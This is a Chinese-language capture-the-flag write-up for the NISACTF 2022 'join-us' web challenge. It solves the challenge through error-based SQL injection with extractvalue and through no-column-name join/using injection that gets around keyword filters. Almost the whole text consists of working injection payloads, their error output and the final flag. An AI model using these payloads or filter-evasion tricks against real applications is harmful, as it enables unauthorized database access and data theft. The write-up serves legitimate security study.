[NISACTF 2022]join-us - 报错注入&无列名注入


点击登录,找到注入点
[NISACTF 2022]join-us - 报错注入&无列名注入_第1张图片
这种框,可以直接爆破关键字,看是否拦截,也可以手动尝试,发现=、union、and、or、substr、database等关键字都拦截了
1、学到了:可以用数据库中不存在的表名或者不存在的自定义函数名爆出数据库名,1'-a()#1' || (select * from aa)#
  FUNCTION sqlsql.a does not exist
2、直接甩一个报错注入上去,extractvalue(0,concat(0x7e,1,0x7e));#
  没拦截,说明可以试一下
3、1' || extractvalue(0,concat(0x7e,1,0x7e));#
  XPATH syntax error: ‘~ 1 ~’,说明报错成功了
4、1' || extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'),1,30),0x7e));#
  XPATH syntax error: ‘~ Fal_flag,output ~’
5、1' || extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from Fal_flag),1,100),0x7e));#
  不要耍小心思喔~ —— column被waf,无列名注入
  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag as a join Fal_flag as b)as c),1,100),0x7e));#
  不要耍小心思喔~ —— as被waf,去掉as
  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b) c),1,100),0x7e));#
  Duplicate column name ‘id’
  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id)) c),1,100),0x7e));#
  Duplicate column name ‘data’
  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c),1,100),0x7e));#
  Duplicate column name ‘i_tell_u_this_is_Fal(se)_flag_is_in_another’ —— flag在另一个表(output)
6、1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b) c),1,100),0x7e));#
  Duplicate column name ‘data’
  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),1,100),0x7e));#
  XPATH syntax error: ‘~ NSSCTF{77a4667a-b16e-46a6-87…’
  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),20,100),0x7e));#
  XPATH syntax error: ‘~ e-46a6-87fc-f981f48eeb5c} ~’

你可能感兴趣的:(CTF-WEB,数据库,web安全,安全,ctf,sql)